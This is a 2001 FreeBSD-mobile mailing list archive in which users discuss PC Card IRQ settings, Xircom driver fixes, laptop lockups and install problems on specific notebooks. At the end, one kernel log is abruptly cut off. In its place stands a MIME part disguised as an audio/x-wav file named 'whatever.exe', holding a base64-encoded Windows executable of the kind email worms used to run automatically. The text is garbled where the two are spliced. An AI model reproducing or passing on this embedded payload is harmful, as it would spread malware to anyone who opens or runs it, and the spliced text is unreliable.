eastgate.starhub.net.sg (8.12.1/8.12.1) with ESMTP id fAJElpZM020079 for ; Mon, 19 Nov 2001 22:47:52 +0800 (SST) Received: (from najib@localhost) by localhost.localdomain (8.11.6/8.11.6) id fAJElLR01447 for freebsd-mobile@freebsd.org; Mon, 19 Nov 2001 22:47:21 +0800 Date: Mon, 19 Nov 2001 22:47:21 +0800 From: Najib Ninaba To: freebsd-mobile@freebsd.org Subject: pccard kernel config for OmniBook 500 Message-ID: <20011119224721.A1348@srikandi.spriggan.int> Reply-To: najib_ninaba@yahoo.com Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="KsGdsel6WgEHnImy" Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --KsGdsel6WgEHnImy Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hello, Is there anybody on the list who has a working pccard configuration for 4.4-STABLE on HP OmniBook 500? I realised that in my kernel config file, it has (I'm typing from memory here..): device pcic0 at isa? irq 0 port ... # continues on What irq should I assign for this particular notebook? And what irqs should be on /etc/pccard.conf? From dmesg and vmstat -i, seems like the only available irqs seems to be 9 and 11. Thanks in advance. Regards, --=20 Najib Ninaba=20 "Life's unfair - but having the root password helps!" -- PGP fingerprint B338 7EC2 B737 3BAA 03B1 38C7 0832 B6CF 160F 496E -- To verify the signature, get my PGP public key at http://www.keyserver.net/en/ KeyID:0x160F496E --KsGdsel6WgEHnImy Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE7+Rt5CDK2zxYPSW4RAtAFAJwJcfdsSS58oHKerdD0tBiPPrp2UgCdH0/T Z8/ZHRp+usm9U5ajpxnTEbo= =iAn9 -----END PGP SIGNATURE----- --KsGdsel6WgEHnImy-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Mon Nov 19 7: 3:23 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from smtp05.primenet.com (smtp05.primenet.com [64.211.219.54]) by hub.freebsd.org (Postfix) with ESMTP id 1721837B416 for ; Mon, 19 Nov 2001 07:03:20 -0800 (PST) Received: (from daemon@localhost) by smtp05.primenet.com (8.9.3/8.9.3) id IAA06991 for ; Mon, 19 Nov 2001 08:03:18 -0700 (MST) Received: from usr01.primenet.com(206.165.6.201) via SMTP by smtp05.primenet.com, id smtpdAAA7qaiNm; Mon Nov 19 08:00:40 2001 Date: Mon, 19 Nov 2001 08:06:53 -0700 (MST) From: Rudolfo Munguia To: freebsd-mobile@freebsd.org Subject: 4.4 pccard insanity Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Hello again, I have taken the time now to re-install bsd and test using both my NP10T and an addtron 802.11b card. I set the "hw.pcic.intr_path="1" for ISA routing, and left the pcic in polling mode, The messages now vary slightly from before, but both cards hang the system. I tried with -h in boot to monitor over a serial connection, then found that I cannot get my main freebsd workstation to display the input from the mobile. Failing that, I tried booting with "pccard_enable=YES" and "pccard_flags=-i 11" and then inserting the card after boot, this yields: card inserted slot 0 after which I sometimes have enough time to enter "pccardc dumpcis" before it hangs and I have to remove the battery, Debug does not come up though, I decided to try and force a panic to get debug up by pulling the NP10T out after entering the "pccardc dumpcis" command and get the following: Tuple #1, code 0xff (Terminator, length = 0 1 slots found No card in database for "(null)"("(null)") and I am returned to a working prompt. I thought then that maybe the NP10T was bad and tried it out on a fujitsu lifebook, and it was recognized and installed by Windows ME without problems. pccardc is obviously trying to read the CIS before the system Hangs, however if I wait longer than 4-5 seconds before pulling the card (hoping that dumpcis will yield more info) then I get debug: Fatal trap 12: page fault while in kernel mode fault virtual address = 0xff90afa1 fault code = supervisor read, page not present instruction pointer = 0x8:0xc0159883 stack pointer = 0x10:0xc2173ea0 frame pointer = 0x10:0xc2173eb0 code segment = base 0x0, limit 0xfffff, type x1b = DPL 0, pres 1, def32 1, gran 1 processor ef lags = interrupt enabled, resume, IOPL = 0 current process = 203 (pccardc) interupt mask = kernel: type 12 trap, code=0 stopped at lockmgr+0x27: orl 0x4(%ebx),%esi This message is consistent across reboots (excepting process id) can anyone interpret this to determine if this is the actual system problem, or is this just complaining about the card being removed? rudog@primenet.com 'If you're not living on the edge, then you're taking up too much space' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Mon Nov 19 8:25:38 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id C23A537B419 for ; Mon, 19 Nov 2001 08:25:16 -0800 (PST) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id fAJGPFa65265; Mon, 19 Nov 2001 09:25:15 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id fAJGPE773383; Mon, 19 Nov 2001 09:25:15 -0700 (MST) (envelope-from imp@harmony.village.org) Message-Id: <200111191625.fAJGPE773383@harmony.village.org> To: Jamie Bowden Subject: Re: Xircom Ethernet driver patch for CE2 & CEM33 Cc: Scott Mitchell , freebsd-mobile@FreeBSD.ORG In-reply-to: Your message of "Mon, 19 Nov 2001 04:46:47 PST." References: Date: Mon, 19 Nov 2001 09:25:14 -0700 From: Warner Losh Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org In message Jamie Bowden writes: : On Sun, 18 Nov 2001, Warner Losh wrote: : : :P.S. Here's patch for the bad CIS addresses, relative to -stable. : :I've not had a chance to port it to -current yet, but it causes at : :least one of the DELL laptops that a local user has to start working : :again. : : Cool. How soon do you expect to merge this stuff into -STABLE? I'm still : running 4.3-R on my Latitude for various reasons mostly related to pcmcia : and xe0. A few weeks, I'd wager. Did you see my workaround? sysctl -w machdep.pccard.mem_start=0xd00000 Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Mon Nov 19 9:38:34 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from Thanatos.Shenton.Org (a3.ebbed1.client.atlantech.net [209.190.235.163]) by hub.freebsd.org (Postfix) with SMTP id 799A337B405 for ; Mon, 19 Nov 2001 09:38:29 -0800 (PST) Received: (qmail 23368 invoked by uid 1000); 19 Nov 2001 17:38:28 -0000 To: walton@digger.net Cc: Greg Lehey , mobile@FreeBSD.ORG Subject: Re FreeBSD lockup accessing serial port on Thinkpad References: <20011114060923.89146.qmail@aerre.pair.com> From: Chris Shenton Date: 19 Nov 2001 12:38:28 -0500 In-Reply-To: <20011114060923.89146.qmail@aerre.pair.com> Message-ID: <87adxir78r.fsf@thanatos.shenton.org> Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org I missed the origin of the thread on this, and now it's morphed into a SMTP discussion; perhaps I'm too late. If not... Happened to me last night. FreeBSD-4.4 running on a thinkpad 560x. I had disabled COM1 and COM2 from the IBM software running under Windows . I then did a ./MAKEDEV cuaa4 for a PCMCIA modem card. But when I went to use "tip", instead of typing set device /dev/cuaa4 I wrote set device /dev/cuaa0 When I connected to it with "term" and it locked the machine hard. Not only was that console screen locked, but ALT-F2 and other console switching was also hung. I couldn't get any response from the box and had to power-down to recover. PS: Is there a way to enable/disable serial ports and the other features that the IBM Windows software does, without having to go into Windoze? I'd hate to think I'm gonna have to keep Windoze on that laptop forever, just so I can fiddle ports and devices. I don't see a way to do it in any BIOS, like I would expect on a desktop system. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Mon Nov 19 10:46:39 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from odin.ac.hmc.edu (Odin.AC.HMC.Edu [134.173.32.75]) by hub.freebsd.org (Postfix) with ESMTP id 1DCE337B416 for ; Mon, 19 Nov 2001 10:46:36 -0800 (PST) Received: (from brdavis@localhost) by odin.ac.hmc.edu (8.11.0/8.11.0) id fAJIkYG25631; Mon, 19 Nov 2001 10:46:34 -0800 Date: Mon, 19 Nov 2001 10:46:34 -0800 From: Brooks Davis To: Najib Ninaba Cc: freebsd-mobile@FreeBSD.ORG Subject: Re: pccard kernel config for OmniBook 500 Message-ID: <20011119104634.B12037@Odin.AC.HMC.Edu> References: <20011119224721.A1348@srikandi.spriggan.int> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="DBIVS5p969aUjpLe" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011119224721.A1348@srikandi.spriggan.int>; from najib_ninaba@yahoo.com on Mon, Nov 19, 2001 at 10:47:21PM +0800 Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --DBIVS5p969aUjpLe Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Nov 19, 2001 at 10:47:21PM +0800, Najib Ninaba wrote: > Hello, >=20 > Is there anybody on the list who has a working pccard configuration for > 4.4-STABLE on HP OmniBook 500? I realised that in my kernel config file, > it has (I'm typing from memory here..): >=20 > device pcic0 at isa? irq 0 port ... # continues on >=20 > What irq should I assign for this particular notebook? And what irqs > should be on /etc/pccard.conf? From dmesg and vmstat -i, seems like the > only available irqs seems to be 9 and 11. I believe the default entry with the following line in /boot/loader.conf will work: hw.pcic.init_routing=3D1 It works for me on -current and the support is pretty near identical at this point. -- Brooks --=20 Any statement of the form "X is the one, true Y" is FALSE. PGP fingerprint 655D 519C 26A7 82E7 2529 9BF0 5D8E 8BE9 F238 1AD4 --DBIVS5p969aUjpLe Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE7+VOKXY6L6fI4GtQRArXUAJoCUj1DM+0OOOXyjrvmLILvigKJGgCgtJpc dY6zT3WL9rASJpSxqDJ4HHo= =JhnU -----END PGP SIGNATURE----- --DBIVS5p969aUjpLe-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Mon Nov 19 12:17:17 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from smtp04.primenet.com (smtp04.primenet.com [64.211.219.53]) by hub.freebsd.org (Postfix) with ESMTP id 6B8BA37B416 for ; Mon, 19 Nov 2001 12:17:13 -0800 (PST) Received: (from daemon@localhost) by smtp04.primenet.com (8.9.3/8.9.3) id NAA05103 for ; Mon, 19 Nov 2001 13:17:12 -0700 (MST) Received: from usr01.primenet.com(206.165.6.201) via SMTP by smtp04.primenet.com, id smtpdAAA_Aaa4j; Mon Nov 19 13:17:02 2001 Date: Mon, 19 Nov 2001 13:23:13 -0700 (MST) From: Rudolfo Munguia To: freebsd-mobile@freebsd.org Subject: 4.4 pccard insanity Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Hello, Re-read the pccardd man page and ran pccardd -dv from the command line; The pccardd keeps hanging at ata, which is of course the hard drive which may explain the fact that I have to manually fsck after each time I start pccardd. So, taking the brute-force route, I did: mv /etc/defaults/pccard.conf /etc/defaults/_pccard.conf then vi /etc/pccard.conf io 0x240-0x360 irq 3 5 10 11 15 memory 0xd40000 96k # Network Everywhere Ethernet 10BaseT PC Card card "Network Everywhere" "Ethernet 10BaseT PC Card" config auto "ed" ? insert /etc/pccard_ether $device start remove /etc/pccard_ether $device stop then vi /etc/rc.conf pccard_conf="/etc/pccard.conf" The whole upshot of this is that now when I start pccardd I don't have to fsck the drive, although the system still hangs and I have to remove the battery to reboot. still searching..... rudog@primenet.com 'If you're not living on the edge, then you're taking up too much space' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Mon Nov 19 13:33:51 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from mta07-svc.ntlworld.com (mta07-svc.ntlworld.com [62.253.162.47]) by hub.freebsd.org (Postfix) with ESMTP id 5C92737B417 for ; Mon, 19 Nov 2001 13:33:48 -0800 (PST) Received: from lungfish.ntlworld.com ([62.253.144.233]) by mta07-svc.ntlworld.com (InterMail vM.4.01.03.13 201-229-121-113) with ESMTP id <20011119213346.TIAI25045.mta07-svc.ntlworld.com@lungfish.ntlworld.com>; Mon, 19 Nov 2001 21:33:46 +0000 Received: from boog.goatsucker.org (boog.goatsucker.org [192.168.1.3]) by lungfish.ntlworld.com (8.11.3/8.11.3) with ESMTP id fAJLXi871613; Mon, 19 Nov 2001 21:33:44 GMT (envelope-from scott@boog.goatsucker.org) Received: (from scott@localhost) by boog.goatsucker.org (8.9.3/8.9.3) id VAA02628; Mon, 19 Nov 2001 21:33:14 GMT (envelope-from scott) Date: Mon, 19 Nov 2001 21:33:14 +0000 From: Scott Mitchell To: Warner Losh Cc: freebsd-mobile@FreeBSD.ORG Subject: Re: Xircom Ethernet driver patch for CE2 & CEM33 Message-ID: <20011119213313.A353@localhost> References: <20011119002035.B30992@localhost> <200111190233.fAJ2Xp766696@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.4i In-Reply-To: <200111190233.fAJ2Xp766696@harmony.village.org>; from imp@harmony.village.org on Sun, Nov 18, 2001 at 07:33:51PM -0700 X-Operating-System: FreeBSD 4.1-RELEASE i386 Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sun, Nov 18, 2001 at 07:33:51PM -0700, Warner Losh wrote: > In message <20011119002035.B30992@localhost> Scott Mitchell writes: > : - Some changes supplied by Peter Fürst to prevent the driver becoming > : confused about the number of bytes to send, and not sending any > : - A few other minor tweaks > > Any what? Anything at all. It was an off-by-one error -- it seems the CE2 doesn't like to send odd-sized packets, so if you feed the transmitter one less byte than it expects it doesn't send any of them. The CE3 doesn't have this particular behaviour so I hadn't picked up on it. > : Question: is there any way to enforce these restrictions from within the > : driver? The CIS on these cards doesn't appear to give any indication that > : these addresses are not allowed. > > The bus picks address 0xd0000 for memory, and the driver wants to say > "get bent, I can't use that, give me a different one"? I don't think > so. I figured as much... I can come up with some comments to go in pccard.conf above the CE2 entries explaining these restrictions, if that's the best place for them to be. > : I don't have a CE2 card, so I can't verify that these changes will do any > : good at all... however, it still works with my CE3 so I don't think I've > : made anything worse :-) > > I keep meaning to send you a CE2 card. I'll give these tests a try. Cool, and thanks for the patch. Scott -- =========================================================================== Scott Mitchell | PGP Key ID | "Eagles may soar, but weasels Cambridge, England | 0x54B171B9 | don't get sucked into jet engines" scott.mitchell@mail.com | 0xAA775B8B | -- Anon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Mon Nov 19 19:53: 8 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from cx952600-a.fed1.sdca.home.com (cx952600-a.fed1.sdca.home.com [24.4.92.198]) by hub.freebsd.org (Postfix) with ESMTP id A0F9537B405 for ; Mon, 19 Nov 2001 19:53:01 -0800 (PST) Received: from azinger (azinger.noonans.com [192.168.1.6]) by cx952600-a.fed1.sdca.home.com (8.11.4/8.11.4) with SMTP id fAK3qud40714; Mon, 19 Nov 2001 19:52:57 -0800 (PST) (envelope-from noonans@cx952600-a.fed1.sdca.home.com) From: "Sean Noonan" To: Cc: Subject: 2nd attempt - Sony VAIO PCG-GR250P and Intel PRO/100 VE NIC and boot hangs Date: Mon, 19 Nov 2001 19:52:56 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Importance: Normal Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Hi List, First, forgive the length of this email. I want to make sure I give enough information to make it possible for some kind soul to be able to help me :-) I posted a shorter version of this to -questions about a week ago and never got a nibble (except for one guy with a Think Pad that said 'me too'). I have a brand new Sony VAIO notebook, model PCG-GR250P. It has the following specs: 1 GHz Intel PIIIm Processor BIOS Version/Date is Phoenix Technologies LTD R0222C0, 9/3/2001 Total Physical Memory is 256 MB Intel 82830 Processor to AGP Controller Graphics Card is ATI Mobility Radeon, 16 MB DDR Hard Drive is generic 20 GB ATA TI OHCI Compliant IEEE 1394 Host Controller Ricoh R/RL/5C476(II) or Compatible CardBus Controller Intel PRO/100 VE Network Card (integrated) SoundMAX Integrated Digital Audio by Analog Devices, Inc. Conexant-Ambit SoftK56 Data,Fax ICH Modem (integrated) Intel 82801CAM Ultra ATA Storage Controller-248A Matshita UJDA710 Combo DVD/CDRW drive Synaptics PS/2 Port TouchPad Sony "Jog Dial" HP external USB 1.44 floppy OS is (hopefully was) Windows XP Pro Goal: Get FreeBSD 4.4-STABLE on this box and functioning! Notes/Observations: The first thing I did was use Partition Magic to consolidate and shrink the existing HD partitions to make room for FreeBSD. No problems encountered. XP Pro is on 1st 10GB, 2nd 10GB is devoted to FreeBSD. Installed a GNU boot manager. So far so good. I began to install 4.4-RELEASE in my ususal manner--install from the two boot floppies, FTP the rest. To my suprise the HP USB floppy *was* recognized, though it did take forever to read the disks themselves. Just as the GUI was about to pop up, the system would hang hard. I figured it was the USB floppy drive (after all it did take a long time to read the disks), so I decided to download the 4.4 ISO images and burn them to CD and install that way. While the ISO images were downloading, I realized I had a 4.3-RELEASE CD handy. So I tried it. It installed without issues, but nothing seemed to work post-boot. That is to say Intel PRO/100 VE network adapter was not recognized. I searched the archives and found one instance of someone asking about the Intel PRO/100 VE NIC. The responder said to turn off PNP in the BIOS. The original poster responded backing saying "thanks", that turning off PNP in the BIOS did the trick. I started to really get my hopes up. I turned off PNP too, but the box still didn't recognize the PRO/100 VE adapter. I figured it was a new card and not supported yet, so decided that I had better wait for the 4.4 ISO image. Well, the 4.4 ISO image hangs at exactly the same spot as the 4.4 floppies did--just as it begings to mount the root partition: Mounting root from ufs:/dev/ad0s2a Then absolutely nothing. Came back 10 hours later and it was still sitting there, just like I left it :-( Things I've tried: 1. Search all archive, google, etc. 2. Enabling/Disabling PNP in BIOS. 3. hw.pci.ignore_pcibios=1 4. hw.pcic.intr_path=1 5. hw.pcic.irq=0 6. hw.pcic.ignore_function_1=1 7. userconfig_script_load="YES" 8. In the hopes that a more "fresher" version of stable would fix the hanging and NIC recognition problems, I installed 4.3, used another machine to cvsup to 4.4-STABLE, copied /usr/src to a CD and then to the notebook, did a make world and a make kernel. Resulted in 4.4-STABLE cvsup'ed as of last night. Hung as usual. Summary: I can install 4.3, but it doesn't recognize my NIC. I can't seem to be able to install 4.4 because it hangs at "Mounting root from ufs:/dev/ad0s2a", even if cvsup'ed to present. 1. Is the Intel PRO/100 VE supported at all? In 5.0-CURRENT perhaps? Via a patch? It *is* supported under Linux. See http://appsr.intel.com/scripts-df/filter_results.asp?strOSs=39&strTypes=PLU% 2CDRV%2CARC%2CSPH&ProductID=407&OSFullName=Linux*&submit=Go%21 . I installed Mandrake 8.1 and it worked flawlessly. 2. I know the modem isn't supported, but how about the audio card? 3. In one reference I found (http://www.cse.ucsc.edu/~dkulp/fbsd/notes117/kernel), a kernel config (for a different VAIO model) included an option for the Sony "jog dialer" (options spic). Funny thing is, I can't find this option in LINT. Was it a custom hack or what? 4. I've seen some examples of working VAIO kernels that show the entry "options ATA_STATIC_ID" either uncommented or commented in the kernel config. What does this do, exactly? 5. I've seen some examples of working VAIO kernels that show the entry "options ATA_ENABLE_ATAPI_DMA", but I can't find any mention of this option in LINT. hat does this do, exactly, and is it supported [still]? 6. Is "device pcic" enough, or do I need to add on the irq and io params, etc. I've seen conflicting examples. 7. Am I correct that 32-bit CardBus Cards, such as the 3Com FEM656C Global 10-100+56K is not supported? Will they ever be? 8. I can borrow a Xircom CreditCard Ethernet+Modem 33.6 pcmcia card from a friend. Is it supported? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Mon Nov 19 20:11:45 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from roadwarrior.stanford.edu (roadwarrior-fairchild.Stanford.EDU [171.65.30.221]) by hub.freebsd.org (Postfix) with ESMTP id 0BC4A37B405 for ; Mon, 19 Nov 2001 20:11:09 -0800 (PST) Received: (from techie@localhost) by roadwarrior.stanford.edu (8.11.6/8.11.4) id fAK4B4b00450; Mon, 19 Nov 2001 20:11:04 -0800 (PST) (envelope-from techie) Date: Mon, 19 Nov 2001 20:11:04 -0800 (PST) From: Bob Vaughan Message-Id: <200111200411.fAK4B4b00450@roadwarrior.stanford.edu> To: freebsd-mobile@freebsd.org Subject: pccard problems with -CURRENT of 11/18/01 Cc: techie@tantivy.stanford.edu Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org I just updated from -CURRENT of 10/20/01, and pccard dosen't work for most of my cards.. this is with NEWCARD. I have: 3com/megahertz 574B 10/100 ethernet 3com/megahertz 575BT 10/100 ethernet cardbus Orinoco wavelan gold 802.11b wireless Cisco 342 802.11b wireless I need a config for the 3com 575 at some point. I have been using the 574 and wavelan cards regularly with no problems until today. The cisco card used to work, but stopped working a while back. Now, the only card that is recognised properly seems to be the cisco card, but I'm in the field, and don't have a AP handy. pccard seems to see the wavelan and 3com cards, but no driver is loaded. slot0/slot1 dosen't seem to make any difference. pccard also seems to recognise another card using the ed driver, which does not exist on my system, but does not load a driver for that phantom card either. messages from both the new and old kernels and kernel config are below. Nov 19 18:35:10 roadwarrior /boot/kernel/kernel: Copyright (c) 1992-2001 The FreeBSD Project. Nov 19 18:35:10 roadwarrior /boot/kernel/kernel: Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 Nov 19 18:35:10 roadwarrior /boot/kernel/kernel: The Regents of the University of California. All rights reserved. Nov 19 18:35:10 roadwarrior /boot/kernel/kernel: FreeBSD 5.0-CURRENT #11: Mon Nov 19 17:35:34 PST 2001 Nov 19 18:35:10 roadwarrior /boot/kernel/kernel: root@roadwarrior.stanford.edu:/c1/usr.obj/c1/current/src/sys/ROADWARRIOR Nov 19 18:35:10 roadwarrior /boot/kernel/kernel: Preloaded elf kernel "/boot/kernel/kernel" at 0xc040e000. Nov 19 18:35:10 roadwarrior /boot/kernel/kernel: Preloaded userconfig_script "/boot/kernel.conf" at 0xc040e0a8. Nov 19 18:35:10 roadwarrior /boot/kernel/kernel: Timecounter "i8254" frequency 1193182 Hz Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: CPU: Pentium/P55C (233.87-MHz 586-class CPU) Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: Origin = "GenuineIntel" Id = 0x543 Stepping = 3 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: Features=0x8001bf Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: real memory = 100663296 (98304K bytes) Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: avail memory = 93749248 (91552K bytes) Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: Intel Pentium detected, installing workaround for F00F bug Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: Using $PIR table, 2 entries at 0xc00fe840 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: apm0: on motherboard Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: apm0: found APM BIOS v1.2, connected at v1.2 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: npx0: on motherboard Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: npx0: INT 16 interface Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: pcib0: at pcibus 0 on motherboard Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: pci0: on pcib0 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: isab0: at device 1.0 on pci0 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: isa0: on isab0 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: atapci0: port 0x1100-0x110f at device 1.1 on pci0 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: ata0: at 0x1f0 irq 14 on atapci0 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: ata1: at 0x170 irq 15 on atapci0 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: uhci0: irq 0 at device 1.2 on pci0 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: uhci0: Could not map ports Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: device_probe_and_attach: uhci0 attach returned 6 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: pci0: at device 1.3 (no driver attached) Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: pci0: at device 2.0 (no driver attached) Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: pccbb0: irq 10 at device 3.0 on pci0 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: pccbb0: PCI Memory allocated: 10000000 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: cardbus0: on pccbb0 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: pccard0: <16-bit PCCard bus> on pccbb0 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: pccbb1: irq 10 at device 3.1 on pci0 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: pccbb1: PCI Memory allocated: 10001000 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: cardbus1: on pccbb1 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: pccard1: <16-bit PCCard bus> on pccbb1 Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: ata-: ata0 already exists, skipping it Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: ata-: ata1 already exists, skipping it Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: vt-: vt0 already exists, skipping it Nov 19 18:35:11 roadwarrior /boot/kernel/kernel: vga-: vga0 already exists, skipping it Nov 19 18:35:12 roadwarrior /boot/kernel/kernel: orm0: peace --bound Content-Type: audio/x-wav; name="whatever.exe" Content-Transfer-Encoding: base64 Content-ID: TVoAAAIAAAACAB4AHgAAAAACAAAAAAAAAAAAAMWnLuEOH7oOALQJ zSG4/0zNIVdpbjMyIG9ubHkhDQokQAAAAFBFAABMAQQAwipthgAA AAAAAAAA4ACOgQsBAhkACgAAAAQAAAAAAAAAEAAAABAAAAAgAAAA AEAAABAAAAACAAABAAAAAAAAAAMACgAAAAAAAFAAAAACAADI8AAA AgAAAAAAEAAAIAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAADAA AHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAFAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Q09ERQAAAAAAEAAAABAAAAAKAAAAAgAAAAAAAAAAAAAAAAAAIAAA YERBVEEAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAA AMAuaWRhdGEAAAAQAAAAMAAAAAIAAAAMAAAAAAAAAAAAAAAAAABA AADALnJlbG9jAAAAEAAAAEAAAAACAAAADgAAAAAAAAAAAAAAAAAA QAAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAD8voYQQABWuAAgQABQl7KAu3AQQACk/9Nz+zPJ/9NzFDPA /9NzHUGwEP/TEsBz+nU1quvi6EMAAABJ4hDoOQAAAOshrNHodD0T yesVkUjB4Ais6CMAAACA/AVzBoP4f3cCQUGVi8VWi/cr8POkXuum AtJ1BYoWRhLSwzPJQf/TE8n/03L4w+hwAsAC6/4z0mQ5/zKPiSK+ JyxAA7+6GAvoCTNLRTlSTo5MMzIB/xU0MACT6FNvCCrgwKyR4wUA VgPx6+mD7FRzgXoYzyiLJugqYQBTb2Z0d2FyZQ5cTWlj3xtzHdBX 